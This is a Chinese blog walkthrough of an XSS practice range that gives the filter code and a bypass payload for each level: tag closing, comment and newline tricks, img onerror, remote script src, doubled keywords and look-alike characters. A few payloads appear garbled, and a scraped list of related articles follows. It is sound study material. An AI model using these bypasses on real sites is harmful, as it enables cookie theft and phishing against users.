一个小众搞笑的xss漏洞练习平台
XSS是当今网络安全事件中数量最多的攻击方式,虽然其危害性不高,但主要和其他攻击手段相结合,以实现一个复杂的攻击场景。那么,XSS是什么?
XSS全称跨站脚本(Cross Site Scripting),较合适的方式应该叫做跨站脚本攻击跨站脚本 攻击是一种常见的web安全漏洞,它主要是指攻击者可以在页面中插入恶意脚本代码,当受 害者访问这些页面时,浏览器会解析并执行这些恶意代码,被用于进行窃取隐私、钓鱼欺 骗、窃取密码、传播恶意代码等攻击。
XSS攻击使用到的技术主要为HTML和Javascript,也包括VBScript和ActionScript等。XSS 攻击对WEB服务器虽无直接危害,但是它借助网站进行传播,使网站的使用用户受到攻击,导致网站用户帐号被窃取,从而对网站也产生了较严重的危害。
某乎上很多回答说xss没前途了,类似什么“都2021年了,学xss还有前途吗?”这样的话,就在前几天逛b站发现一大佬发了一个动态,点进去,好家伙弹出个1,还是存储型xss。连我们天天逛的b站都有xss漏洞,所以说xss已经绝迹还为时过早。给你们看看b站的xss漏洞,点此,不过有可能已经被b站删了。
最近看到一个很有意思的靶场,于是进行了实践并通关,并做了笔记。此靶场的好处是可以同时看到输入框、源代码和过滤规则。
 项目地址,练习平台

此靶场的目标是窗口弹出1
0x00
第一关并没有任何过滤和难度,直接标准的alert(1)搞定
<script>alert(1)</script>

0x01
观察源代码发现我们输入的内容被<textarea></textarea>包裹了起来,我们尝试将前面一个<textarea>进行闭合然后alert(1)。
</textarea><script>alert(1)</script>
0x02
观察源代码<input type=“name” value="">,思想还是尝试闭合
"><script>alert(1)</script>
0x03
审计过滤规则发现通过一个正则表达式把我们的括号过滤掉了,可以用``进行代替
<script>alert`1`</script>
0x04
这道题在上一题的基础上还屏蔽了``,可以对()进行unicode编码再解码
<svg><script>alert(1)</script>
0x05
这道题把我们所有输入的都框在了注释里,而且屏蔽了我们的后注释符–>。
function render (input) {
  input = input.replace(/-->/g, '')
  return '<!-- ' + input + ' -->'
}
但是万万没想到我们可以用–!>代替–>
--!><script>alert(1)</script>
0x06
尝试闭合,发现过滤了 > ,尝试添加一个onmouseover的属性,发现on也被屏蔽了,真是可恶。但是通过观察过滤规则,发现是过滤规则是“auto或者on开头,后面跟任意东西,直到出现= 或者 > 都转化为_”,因此我们可以将等号和alert(1)换行
在前端的世界里,换行一样有用
onmouseover
=alert(1)
当我们的鼠标拂过输入框的那个1,就会弹出alert(1)了!
0x07
输入标准的alert(1)后发现他是从 < 到 > 做一个完整的过滤
function render (input) {
  const stripTagsRe = /<\/?[^>]+>/gi
  input = input.replace(stripTagsRe, '')
  return `<article>${input}</article>`
}
既然无法闭合,那么我们考虑在标签<article>属性里有什么能搞操作的。想到可以插入图片
<img src=x onerror="alert(1)"
图片无法显示,就会弹出1
0x08
<style>标签不能直接屏蔽,会被过滤替换成/* 坏人 */,那么我们在e和>之间空格就可以了
</style ><script>alert(1)</script>
0x09
审计过滤规则,要我们输入的URL必须是他指定的
 但并没有做全文判断,而是必须包含这一段即可,那么我们在后面加上点东西让这个网站无法访问,再用onerror进行弹出1。
https://www.segmentfault.coms" οnerrοr="alert(1)
0x0A
小知识:在js标签中,src后面,如果@是可以加载后方的js文件的
在本地搭建一个网站,并在根目录建立一个含有alert(1)的js文件
https://www.segmentfault.coms@http://localtest/haha.js
0x0B
此题把我们输入的所有东西转化成大写
html 标签, 域名 不区分大小写,path部分区分大小写,让evil服务器返回 HAHA.JS 就可以
<script src="http://127.0.0.1/HAHA.JS"></script>

HAHA.JS中写入alert(1)
0x0C
这题屏蔽了script这个单词,并把输入的所有东西转化成大写。尝试script双写绕过
function render (input) {
  input = input.replace(/script/ig, '')
  input = input.toUpperCase()
  return '<h1>' + input + '</h1>'
}
<scscriptript src="http://127.0.0.1/ABC.JS"></scrscriptipt>
0x0D
这道题的前端代码是这样的(非常的奇怪):
<script>
	// alert('')
</script>
直接一个空行就能忽略掉那个单行注释
 但过滤了 < " ’ /
x
alert(1)
-->
0x0E
过滤规则如下:
function render (input) {
  input = input.replace(/   <([a-zA-Z])    /g, '<_$1')
  input = input.toUpperCase()
  return '<h1>' + input + '</h1>'
}
把左尖括号右边的那个英文字母全部转化成 _+字母,并且全部转化成大写。
 但他没有过滤古英文!!
 维基百科查到s的古英文写法是 ſ
 因此问题迎刃而解。
<ſcript src="http://127.0.0.1/HAHA.JS"></script>
0x0F
过滤规则:
function render (input) {
  function escapeHtml(s) {
    return s.replace(/&/g, '&')
            .replace(/'/g, ''')
            .replace(/"/g, '"')
            .replace(/</g, '<')
            .replace(/>/g, '>')
            .replace(/\//g, '/')
  }
  return `<img src οnerrοr="console.error('${escapeHtml(input)}')">`
}
对html inline js 转义就是做无用功,浏览器会先解析html, 然后再解析 js
直接前后补全即可
');alert('1
0x10
直接alert(1),不知道这题的意义何在
0x11
这道题的过滤规则多的吓人
function render (s) {
  function escapeJs (s) {
    return String(s)
            .replace(/\\/g, '\\\\')
            .replace(/'/g, '\\\'')
            .replace(/"/g, '\\"')
            .replace(/`/g, '\\`')
            .replace(/</g, '\\74')
            .replace(/>/g, '\\76')
            .replace(/\//g, '\\/')
            .replace(/\n/g, '\\n')
            .replace(/\r/g, '\\r')
            .replace(/\t/g, '\\t')
            .replace(/\f/g, '\\f')
            .replace(/\v/g, '\\v')
            // .replace(/\b/g, '\\b')
            .replace(/\0/g, '\\0')
  }
  s = escapeJs(s)
  return `
<script>
  var url = 'javascript:console.log("${s}")'
  var a = document.createElement('a')
  a.href = url
  document.body.appendChild(a)
  a.click()
</script>
`
}
但实际上补全再用个堆叠即可
");alert("1
说实话这题有点奇怪,他是在引号前加了转义符,按道理应该那个引号就没用了,正确的情况应该是下一题。
0x12
法一、直接闭合script并在后面新建一个script标签
</script>
<script>
alert`1`;
</script>
<script>
法二、因为他用转义符把我们的引号转义掉了,因此我们用转义符再把他的转义符转义掉
\");alert(1)//
												
											一个小众搞笑的xss漏洞练习平台的更多相关文章
- Pikachu漏洞练习平台实验——XSS(二)
		
概述 简介 XSS是一种发生在Web前端的漏洞,所以其危害的对象也主要是前端用户 XSS漏洞可以用来进行钓鱼攻击.前端js挖矿.盗取用户cookie,甚至对主机进行远程控制 攻击流程 假设存在漏洞的是 ...
 - 利用窗口引用漏洞和XSS漏洞实现浏览器劫持
		
==Ph4nt0m Security Team== Issue 0x03, Phile #0x05 of 0x07 |=----------------- ...
 - 一个xss漏洞到内网漫游【送多年心血打造的大礼包啦!】
		
i春秋作家:jasonx 原文来自:一个xss漏洞到内网漫游[送多年心血打造的大礼包啦!] 前言 渗透过程中,有时候遇某些网站,明明检测到有xss漏洞,但是盲打以后,收到的cookie还是不能登录后台 ...
 - XSS漏洞初窥(通过dvwa平台进测试)
		
xss的全称是:Cross Site Script,中文名叫“跨站脚本攻击”,因为和CSS重名,所以改名XSS.作为一个网站是肯定要和用户有交互的,那么肯定就伴随着信息的输入输出,而利用xss就是通过 ...
 - 一个跨域请求的XSS漏洞
		
场景回顾 一个表单进行跨域提交的方式有很多,我们使用的采用隐藏iframe,在本域下放一个代理页面,通过服务端配合完成一次完整的请求. 首先,部署proxy.html代理页面.这个页面处理服务端返回的 ...
 - [典型漏洞分享]从一个手动分析的反射型XSS漏洞看待一个安全设计原则【中危】
		
这是在测试YS“本地相册”功能时发现的一个反射型XSS,自己在安全测试过程中也发现过不少XSS漏洞,唯独这个的发现过程有点区别. 在此之前,我在测试另外一个模块的功能接口的时候发现了一个反射型XSS, ...
 - 基于dom的xss漏洞原理
		
原文:http://www.anying.org/thread-36-1-1.html转载必须注明原文地址最近看到网络上很多人都在说XSS我就借着暗影这个平台发表下自己对这一块的一些认识.其实对于XS ...
 - Atitit. Xss 漏洞的原理and应用xss木马
		
Atitit. Xss 漏洞的原理and应用xss木马 1. XSS漏洞1 2. XSS的用途2 2.1. 盗取cookie2 2.2. 刷新流量 刷分3 2.3. DOS 窃取隐私”.“假冒身份”. ...
 - 各种Web漏洞测试平台
		
Sqli Lab支持报错注入.二次注入.盲注.Update注入.Insert注入.Http头部注入.二次注入练习等.支持GET和POST两种方式. https://github.com/Audi-1 ...
 
随机推荐
- tomcat漏洞总结
			
描述 Tomcat是Apache 软件基金会(Apache Software Foundation)的Jakarta 项目中的一个核心项目,由Apache.Sun 和其他一些公司及个人共同开发而成.由 ...
 - CSS实用技巧(中)
			
前言 我们经常使用CSS,但是却不怎么了解CSS,本文主要对vertical-align.BFC.position中开发过程不怎么注意的特性进行简要总结,从本文中,你将了解到以下内容: vertica ...
 - 【HMS Core 6.0全球上线】Network Kit全链路网络加速技术,应用无惧网络拥塞
			
HMS Core 6.0已于7月15日全球上线,本次版本向广大开发者开放了众多全新能力与技术.其中HMS Core Network Kit开放了全链路网络加速技术,助力开发者为用户提供低时延的畅快网络 ...
 - Python - 头部解析
			
背景 写 python 的时候,基本都要加两个头部注释,这到底有啥用呢? #!usr/bin/env python # -*- coding:utf-8 _*- print("hello-w ...
 - java版gRPC实战之一:用proto生成代码
			
欢迎访问我的GitHub https://github.com/zq2599/blog_demos 内容:所有原创文章分类汇总及配套源码,涉及Java.Docker.Kubernetes.DevOPS ...
 - Identity用户管理入门四(修改、删除用户)
			
修改用户不能修改Id及用户名所以创建视图模型时需要去除,新增用户跟修改用户基本视图一直,所以不再做演示 一.新建UpdateUserViewModel视图模型 using System.Compone ...
 - Winform EF CodeFist方式连接数据库
			
直接生成ado.net 实体数据模型挺方便的,但只有一步步的手写代码才能更好的理解EF,在学习asp.net core过程中手写代码已经明白了怎么回事,但实现过程有些麻烦不知道如何记录,但Winfor ...
 - Spring基于XML方式加载Bean定义信息(又名:Spring IOC源码时序图)-图解
 - python matplotlib.pyplot 散点图详解(1)
			
python matplotlib.pyplot散点图详解(1) 一.创建散点图 可以用scatter函数创建散点图 并使用show函数显示散点图 代码如下: import matplotlib.py ...
 - PHP执行数据库定时备份  和手动还原
			
一 备份数据库 我的这个是在TP5上,其实不在TP5也可以 逻辑: 1 首先在自己电脑的cmd命令上测试备份数据库,成功才能往下进行所以得到 C:/luanxiede/mysql-5.7/bin/my ...